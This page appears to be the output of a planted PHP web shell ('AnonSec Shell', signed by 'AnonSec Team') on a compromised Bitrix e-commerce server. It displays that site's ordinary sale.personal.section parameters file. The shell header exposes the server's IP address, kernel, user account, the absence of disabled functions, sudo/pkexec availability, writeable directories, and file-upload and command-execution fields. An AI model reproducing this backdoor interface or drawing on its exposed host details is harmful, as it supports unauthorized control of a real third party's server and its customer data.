AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.227.209.226
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/components/bitrix/sale.personal.section/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/components/bitrix/sale.personal.section/.parameters.php
<?php

if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)
{
	die();
}

/** @var array $arCurrentValues */

$arComponentParameters = array(
	"GROUPS" => array(
		"ACCOUNT"    =>  array(
			"NAME"  =>  GetMessage("SPS_GROUP_ACCOUNT"),
			"SORT"  =>  "510",
		),
		"ORDER"    =>  array(
			"NAME"  =>  GetMessage("SPS_GROUP_ORDER"),
			"SORT"  =>  "520",
		),
		"PROFILE"    =>  array(
			"NAME"  =>  GetMessage("SPS_GROUP_PROFILE"),
			"SORT"  =>  "530",
		),
		"PRIVATE"    =>  array(
			"NAME"  =>  GetMessage("SPS_GROUP_PRIVATE"),
			"SORT"  =>  "540",
		),
		"SUBSCRIBE"    =>  array(
			"NAME"  =>  GetMessage("SPS_GROUP_SUBSCRIBE"),
			"SORT"  =>  "550",
		)
	),
	"PARAMETERS" => array(
		"SEF_MODE" => array(
			"index" => array(
				"NAME" => GetMessage("SPS_MAIN_PERSONAL"),
				"DEFAULT" => "index.php",
				"VARIABLES" => array()
			),
			"orders" => array(
				"NAME" => GetMessage("SPS_GROUP_ORDER"),
				"DEFAULT" => "orders/",
				"VARIABLES" => array("ID")
			),
			"account" => array(
				"NAME" => GetMessage("SPS_GROUP_ACCOUNT"),
				"DEFAULT" => "account/",
				"VARIABLES" => array("ID")
			),
			"subscribe" => array(
				"NAME" => GetMessage("SPS_GROUP_SUBSCRIBE"),
				"DEFAULT" => "subscribe/",
				"VARIABLES" => array("ID")
			),
			"profile" => array(
				"NAME" => GetMessage("SPS_GROUP_PROFILE_LIST"),
				"DEFAULT" => "profiles/",
				"VARIABLES" => array("ID")
			),
			"profile_detail" => array(
				"NAME" => GetMessage("SPS_GROUP_PROFILE"),
				"DEFAULT" => "profiles/#ID#",
				"VARIABLES" => array("ID")
			),
			"private" => array(
				"NAME" => GetMessage("SPS_GROUP_PRIVATE"),
				"DEFAULT" => "private/",
				"VARIABLES" => array("ID")
			),
			"order_detail" => array(
				"NAME" => GetMessage("SPS_DETAIL_DESC"),
				"DEFAULT" => "orders/#ID#",
				"VARIABLES" => array("ID")
			),
			"order_cancel" => array(
				"NAME" => GetMessage("SPS_CANCEL_ORDER_DESC"),
				"DEFAULT" => "cancel/#ID#",
				"VARIABLES" => array("ID")
			),
		),
		"SHOW_ACCOUNT_PAGE" => array(
			"NAME" => GetMessage("SPS_SHOW_ACCOUNT_PAGE"),
			"TYPE" => "CHECKBOX",
			"DEFAULT" => "Y",
			"PARENT" => "BASE",
			"REFRESH" => "Y"
		),
		"SHOW_ORDER_PAGE" => array(
			"NAME" => GetMessage("SPS_SHOW_ORDER_PAGE"),
			"TYPE" => "CHECKBOX",
			"DEFAULT" => "Y",
			"PARENT" => "BASE",
			"REFRESH" => "Y"
		),
		"SHOW_PRIVATE_PAGE" => array(
			"NAME" => GetMessage("SPS_SHOW_PRIVATE_PAGE"),
			"TYPE" => "CHECKBOX",
			"DEFAULT" => "Y",
			"PARENT" => "BASE",
			"REFRESH" => "Y"
		),
		"SHOW_PROFILE_PAGE" => array(
			"NAME" => GetMessage("SPS_SHOW_PROFILE_PAGE"),
			"TYPE" => "CHECKBOX",
			"DEFAULT" => "Y",
			"PARENT" => "BASE",
			"REFRESH" => "Y"
		),
		"SHOW_SUBSCRIBE_PAGE" => array(
			"NAME" => GetMessage("SPS_SHOW_SUBSCRIBE_PAGE"),
			"TYPE" => "CHECKBOX",
			"DEFAULT" => "Y",
			"PARENT" => "BASE",
			"REFRESH" => "Y"
		),
		"SHOW_CONTACT_PAGE" => array(
			"NAME" => GetMessage("SPS_SHOW_CONTACT_PAGE"),
			"TYPE" => "CHECKBOX",
			"DEFAULT" => "Y",
			"PARENT" => "BASE",
			"REFRESH" => "Y"
		),
		"SHOW_BASKET_PAGE" => array(
			"NAME" => GetMessage("SPS_SHOW_BASKET_PAGE"),
			"TYPE" => "CHECKBOX",
			"DEFAULT" => "Y",
			"PARENT" => "BASE",
			"REFRESH" => "Y"
		),
		"PATH_TO_PAYMENT" => array(
			"NAME" => GetMessage("SPS_PATH_TO_PAYMENT"),
			"TYPE" => "STRING",
			"MULTIPLE" => "N",
			"DEFAULT" => "/personal/order/payment/",
			"COLS" => 25,
			"PARENT" => "URL_TEMPLATES",
		),
		"PATH_TO_CONTACT" => array(
			"NAME" => GetMessage("SPS_PATH_TO_CONTACT"),
			"TYPE" => "STRING",
			"MULTIPLE" => "N",
			"DEFAULT" => "/about/contacts/",
			"COLS" => 25,
			"PARENT" => "URL_TEMPLATES",
		),
		"PATH_TO_BASKET" => array(
			"NAME" => GetMessage("SPS_PATH_TO_BASKET"),
			"TYPE" => "STRING",
			"MULTIPLE" => "N",
			"DEFAULT" => "/personal/cart/",
			"COLS" => 25,
			"PARENT" => "URL_TEMPLATES",
		),
		"PATH_TO_CATALOG" => array(
			"NAME" => GetMessage("SPS_PATH_TO_CATALOG"),
			"TYPE" => "STRING",
			"MULTIPLE" => "N",
			"DEFAULT" => "/catalog/",
			"COLS" => 25,
			"PARENT" => "URL_TEMPLATES",
		),
		"MAIN_CHAIN_NAME" => array(
			"NAME" => GetMessage("SPS_CHAIN_MAIN_FIELD"),
			"TYPE" => "STRING",
			"MULTIPLE" => "N",
			"DEFAULT" => GetMessage("SPS_CHAIN_MAIN"),
			"COLS" => 25,
			"PARENT" => "ADDITIONAL_SETTINGS",
		),
		'SET_TITLE' => array(),
		"CACHE_TIME"  =>  array("DEFAULT"=>3600),
		"CACHE_GROUPS" => array(
			"PARENT" => "CACHE_SETTINGS",
			"NAME" => GetMessage("SPS_CACHE_GROUPS"),
			"TYPE" => "CHECKBOX",
			"DEFAULT" => "Y",
		),
		'CUSTOM_PAGES' => array(
			'NAME' => GetMessage('SPS_GROUP_CUSTOM'),
			'TYPE' => 'CUSTOM',
			'JS_FILE' => "/bitrix/components/bitrix/sale.personal.section/settings/settings.js",
			'JS_EVENT' => 'CustomSettingsEdit',
			'JS_DATA' => str_replace('\'',"\"", CUtil::PhpToJSObject(
				array(
					'labelName' => GetMessage('SPS_NAME_CUSTOM_PAGE'),
					'labelPath' => GetMessage('SPS_PATH_TO_CUSTOM_PAGE'),
					'labelIcon' => GetMessage('SPS_ICON_OF_CUSTOM_PAGE'),
				)
			)),
			'DEFAULT' => "",
			'PARENT' => 'BASE',
		)
	)
);

if (
	($arCurrentValues['SHOW_ACCOUNT_PAGE'] ?? 'Y') === 'Y'
	&& CBXFeatures::IsFeatureEnabled('SaleAccounts')
)
{
	$arComponentParameters["PARAMETERS"]["SHOW_ACCOUNT_COMPONENT"] = array(
		"NAME" => GetMessage("SPS_SHOW_ACCOUNT_COMPONENT"),
		"TYPE" => "CHECKBOX",
		"DEFAULT" => "Y",
		"PARENT" => "ACCOUNT",
		"REFRESH" => "Y"
	);

	$arComponentParameters["PARAMETERS"]["SHOW_ACCOUNT_PAY_COMPONENT"] = array(
		"NAME" => GetMessage("SPS_SHOW_ACCOUNT_COMPONENT_PAY"),
		"TYPE" => "CHECKBOX",
		"DEFAULT" => "Y",
		"PARENT" => "ACCOUNT",
		"REFRESH" => "Y"
	);

	if (($arCurrentValues['SHOW_ACCOUNT_PAY_COMPONENT'] ?? 'Y') === 'Y')
	{
		$currencyList = array();
		$baseCurrencyCode = "";

		if (CModule::IncludeModule("currency"))
		{
			$currencyList = \Bitrix\Currency\CurrencyManager::getCurrencyList();
		}

		if (isset($_REQUEST['src_site']) && $_REQUEST['src_site'] && is_string($_REQUEST['src_site']))
		{
			$siteId = $_REQUEST['src_site'];
		}
		else
		{
			$siteId = \CSite::GetDefSite();
		}

		$personTypes = [];
		if (Bitrix\Main\Loader::includeModule('sale'))
		{
			$personTypeList = Bitrix\Sale\PersonType::load($siteId);
			foreach ($personTypeList as $personTypeElement)
			{
				$personTypes[$personTypeElement["ID"]] = $personTypeElement['NAME'];
			}
			$baseCurrencyCode = Bitrix\Sale\Internals\SiteCurrencyTable::getSiteCurrency($siteId);
		}

		$arComponentParameters['PARAMETERS']['ACCOUNT_PAYMENT_SELL_CURRENCY'] = array(
			"NAME"=>GetMessage("SPS_SELL_CURRENCY"),
			"TYPE"=>"LIST",
			"MULTIPLE"=>"N",
			"VALUES" => $currencyList,
			"COLS"=>25,
			"ADDITIONAL_VALUES"=>"N",
			"PARENT" => "ACCOUNT",
			"DEFAULT" => $baseCurrencyCode
		);

		if(empty($arCurrentValues['SELL_TOTAL']))
		{
			$valuesList = array(100,200,500,1000,5000);
		}
		else
		{
			$valuesList = $arCurrentValues['SELL_TOTAL'];
		}

		$paySystemList = array(GetMessage("SPS_NOT_CHOSEN"));

		$paySystemManagerResult = Bitrix\Sale\PaySystem\Manager::getList(array('select' => array('ID','NAME')));

		while ($paySystem = $paySystemManagerResult->fetch())
		{
			if (!empty($paySystem['NAME']))
			{
				$paySystemList[$paySystem['ID']] = $paySystem['NAME'].' ['.$paySystem['ID'].']';
			}
		}

		if (!empty($personTypes))
		{
			$arComponentParameters['PARAMETERS']['ACCOUNT_PAYMENT_PERSON_TYPE'] = array(
				"NAME"=>GetMessage("SPS_SELL_USER_TYPES"),
				"TYPE"=>"LIST",
				"MULTIPLE"=>"N",
				"VALUES"=>$personTypes,
				"DEFAULT" => "1",
				"SIZE" => count($personTypes),
				"COLS"=>25,
				"ADDITIONAL_VALUES"=>"N",
				"PARENT" => "ACCOUNT",
			);
		}

		$arComponentParameters['PARAMETERS']['ACCOUNT_PAYMENT_ELIMINATED_PAY_SYSTEMS'] = array(
			"NAME"=>GetMessage("SPS_ELIMINATED_PAY_SYSTEMS"),
			"TYPE"=>"LIST",
			"MULTIPLE"=>"Y",
			"DEFAULT" => "0",
			"VALUES"=>$paySystemList,
			"SIZE" => 6,
			"COLS"=>25,
			"ADDITIONAL_VALUES"=>"N",
			"PARENT" => "ACCOUNT",
		);

		$arComponentParameters['PARAMETERS']['ACCOUNT_PAYMENT_SELL_SHOW_FIXED_VALUES'] = array(
			"NAME"=>GetMessage("SPS_SELL_SHOW_FIXED_VALUES"),
			"TYPE"=>"CHECKBOX",
			"DEFAULT" => "Y",
			"REFRESH" => "Y",
			"PARENT" => "ACCOUNT",
		);

		if (
			!isset($arCurrentValues['SELL_SHOW_FIXED_VALUES']) // Unknown parameter
			|| $arCurrentValues['SELL_SHOW_FIXED_VALUES'] !== 'N'
		)
		{
			$arComponentParameters['PARAMETERS']['ACCOUNT_PAYMENT_SELL_TOTAL'] = array(
				"NAME"=>GetMessage("SPS_SELL_AMOUNT"),
				"TYPE"=>"STRING",
				"MULTIPLE"=>"Y",
				"DEFAULT" => $valuesList,
				"COLS"=>25,
				"ADDITIONAL_VALUES"=>"N",
				"PARENT" => "ACCOUNT",
			);
		}

		$arComponentParameters['PARAMETERS']['ACCOUNT_PAYMENT_SELL_USER_INPUT'] = array(
			"NAME"=>GetMessage("SPS_ACCEPT_USER_AMOUNT"),
			"TYPE"=>"CHECKBOX",
			"DEFAULT" => "Y",
			"PARENT" => "ACCOUNT",
		);
	}
}

if (($arCurrentValues["SHOW_ORDER_PAGE"] ?? 'Y') === 'Y')
{
	$arComponentParameters['PARAMETERS']['SAVE_IN_SESSION'] = array(
		"NAME" => GetMessage("SPS_SAVE_IN_SESSION"),
		"TYPE" => "CHECKBOX",
		"DEFAULT" => "Y",
		"PARENT" => "ORDER",
	);

	if(CModule::IncludeModule("iblock"))
	{
		$arComponentParameters["PARAMETERS"]["ACTIVE_DATE_FORMAT"] = CIBlockParameters::GetDateFormat(
			GetMessage("SPS_ACTIVE_DATE_FORMAT"),
			"ORDER"
		);

		$arComponentParameters["PARAMETERS"]["CUSTOM_SELECT_PROPS"] = array(
			"NAME" => GetMessage("SPS_PARAM_CUSTOM_SELECT_PROPS"),
			"TYPE" => "STRING",
			"MULTIPLE" => "Y",
			"VALUES" => array(),
			"PARENT" => "ORDER",
		);
	}

	if(CModule::IncludeModule("sale"))
	{
		$dbPerson = CSalePersonType::GetList(array("SORT" => "ASC", "NAME" => "ASC"));

		$userInfo = array(
			"LOGIN" => GetMessage("SPS_USER_INFO_LOGIN"),
			"EMAIL" => GetMessage("SPS_USER_INFO_EMAIL"),
			"PERSON_TYPE_NAME" => GetMessage("SPS_USER_INFO_PERSON_TYPE_NAME"),
			0 => GetMessage("SPS_SHOW_ALL"),
		);

		$arComponentParameters['PARAMETERS']['ORDER_HIDE_USER_INFO'] = array(
			"NAME" => GetMessage("SPS_ORDER_HIDE_USER_INFO"),
			"TYPE" => "LIST",
			"VALUES" => $userInfo,
			"MULTIPLE" => "Y",
			"DEFAULT" => 0,
			"PARENT" => "ORDER"
		);

		while($arPerson = $dbPerson->GetNext())
		{

			$arPers2Prop = array("" => GetMessage("SPS_SHOW_ALL"));
			$bProp = false;
			$dbProp = CSaleOrderProps::GetList(array("SORT" => "ASC", "NAME" => "ASC"), array("PERSON_TYPE_ID" => $arPerson["ID"]));
			while($arProp = $dbProp -> GetNext())
			{

				$arPers2Prop[$arProp["ID"]] = $arProp["NAME"];
				$bProp = true;
			}

			if($bProp)
			{
				$arComponentParameters["PARAMETERS"]["PROP_".$arPerson["ID"]] =  array(
					"NAME" => GetMessage("SPS_PROPS_NOT_SHOW")." \"".$arPerson["NAME"]."\" (".$arPerson["LID"].")",
					"TYPE"=>"LIST", "MULTIPLE"=>"Y",
					"VALUES" => $arPers2Prop,
					"DEFAULT"=>"",
					"COLS"=>25,
					"ADDITIONAL_VALUES"=>"N",
					"PARENT" => "ORDER",
				);
			}
		}

		$statusList = array();

		$listStatusNames = Bitrix\Sale\OrderStatus::getAllStatusesNames(LANGUAGE_ID);
		foreach($listStatusNames as $key => $data)
		{
			$statusList[$key] = $data;
		}

		$arComponentParameters['PARAMETERS']['ORDER_HISTORIC_STATUSES'] = array(
			"NAME" => GetMessage("SPS_HISTORIC_STATUSES"),
			"TYPE" => "LIST",
			"VALUES" => $statusList,
			"MULTIPLE" => "Y",
			"DEFAULT" => "F",
			"PARENT" => "ORDER",
		);

		array_unshift($statusList, GetMessage("SPS_NOT_CHOSEN"));

		$arComponentParameters['PARAMETERS']['ORDER_RESTRICT_CHANGE_PAYSYSTEM'] = array(
			"NAME" => GetMessage("SPS_RESTRICT_CHANGE_PAYSYSTEM"),
			"TYPE" => "LIST",
			"VALUES" => $statusList,
			"MULTIPLE" => "Y",
			"DEFAULT" => 0,
			"PARENT" => "ORDER",
			"SIZE" => 5,
		);

		$orderSortList = array(
			'STATUS' => GetMessage("SPS_ORDER_LIST_SORT_STATUS"),
			'ID' => GetMessage("SPS_ORDER_LIST_SORT_ID"),
			'ACCOUNT_NUMBER'=> GetMessage("SPS_ORDER_LIST_SORT_ACCOUNT_NUMBER"),
			'DATE_INSERT'=> GetMessage("SPS_ORDER_LIST_SORT_DATE_CREATE"),
			'PRICE'=> GetMessage("SPS_ORDER_LIST_SORT_PRICE")
		);

		$arComponentParameters['PARAMETERS']['ORDER_DEFAULT_SORT'] = array(
			"NAME" => GetMessage("SPS_ORDER_LIST_DEFAULT_SORT"),
			"TYPE" => "LIST",
			"VALUES" => $orderSortList,
			"MULTIPLE" => "N",
			"DEFAULT" => "STATUS",
			"PARENT" => "ORDER",
		);

		$arComponentParameters['PARAMETERS']['ORDER_REFRESH_PRICES'] = array(
			"NAME" => GetMessage("SPS_REFRESH_PRICE_AFTER_PAYSYSTEM_CHANGE"),
			"TYPE" => "CHECKBOX",
			"DEFAULT" => "N",
			"PARENT" => "ORDER",
		);

		$arComponentParameters['PARAMETERS']['ORDER_DISALLOW_CANCEL'] = array(
			"NAME" => GetMessage("SPS_DISALLOW_CANCEL"),
			"TYPE" => "CHECKBOX",
			"DEFAULT" => "N",
			"PARENT" => "ORDER",
		);

		if (CBXFeatures::IsFeatureEnabled('SaleAccounts'))
		{
			$arComponentParameters['PARAMETERS']['ALLOW_INNER'] = array(
				"NAME" => GetMessage("SPS_ALLOW_INNER"),
				"TYPE" => "CHECKBOX",
				"DEFAULT" => "N",
				"PARENT" => "ORDER",
			);

			$arComponentParameters['PARAMETERS']['ONLY_INNER_FULL'] = array(
				"NAME" => GetMessage("SPS_ONLY_INNER_FULL"),
				"TYPE" => "CHECKBOX",
				"DEFAULT" => "N",
				"PARENT" => "ORDER",
			);
		}

		$arComponentParameters['PARAMETERS']['NAV_TEMPLATE'] = array(
			"NAME" => GetMessage("SPS_NAV_TEMPLATE"),
			"TYPE" => "STRING",
			"DEFAULT" => "",
			"PARENT" => "ORDER",
		);

		$arComponentParameters['PARAMETERS']['ORDERS_PER_PAGE'] = array(
			"NAME" => GetMessage("SPS_ORDERS_PER_PAGE"),
			"TYPE" => "STRING",
			"MULTIPLE" => "N",
			"DEFAULT" => "20",
			"PARENT" => "ORDER",
		);
	}
}

if (($arCurrentValues['SHOW_PRIVATE_PAGE'] ?? 'Y') === 'Y')
{
	$arComponentParameters["PARAMETERS"]["SEND_INFO_PRIVATE"] = array(
		"PARENT" => "PRIVATE",
		"NAME" => GetMessage("SPS_PRIVATE_SEND_INFO"),
		"TYPE" => "CHECKBOX",
		"DEFAULT" => "N",
	);

	$arComponentParameters["PARAMETERS"]["CHECK_RIGHTS_PRIVATE"] = array(
		"PARENT" => "PRIVATE",
		"NAME" => GetMessage("SPS_PRIVATE_CHECK_RIGHTS"),
		"TYPE" => "CHECKBOX",
		"DEFAULT" => "N",
	);
}

if (($arCurrentValues['SHOW_PROFILE_PAGE'] ?? 'Y') === 'N')
{
	$arComponentParameters["PARAMETERS"]["USE_AJAX_LOCATIONS_PROFILE"] = array(
		'NAME' => GetMessage("SPS_USE_AJAX_LOCATIONS"),
		'TYPE' => 'CHECKBOX',
		'DEFAULT' => 'N',
		"PARENT" => "PROFILE",
	);
	$arComponentParameters["PARAMETERS"]["COMPATIBLE_LOCATION_MODE_PROFILE"] = array(
		"NAME" => GetMessage("SPS_COMPATIBLE_LOCATION_MODE"),
		"TYPE" => "CHECKBOX",
		"DEFAULT" => "N",
		"PARENT" => "PROFILE",
	);
	$arComponentParameters['PARAMETERS']['PROFILES_PER_PAGE'] = array(
		"NAME" => GetMessage("SPS_PROFILES_PER_PAGE"),
		"TYPE" => "STRING",
		"MULTIPLE" => "N",
		"DEFAULT" => "20",
		"PARENT" => "PROFILE",
	);
}

Anon7 - 2022
AnonSec Team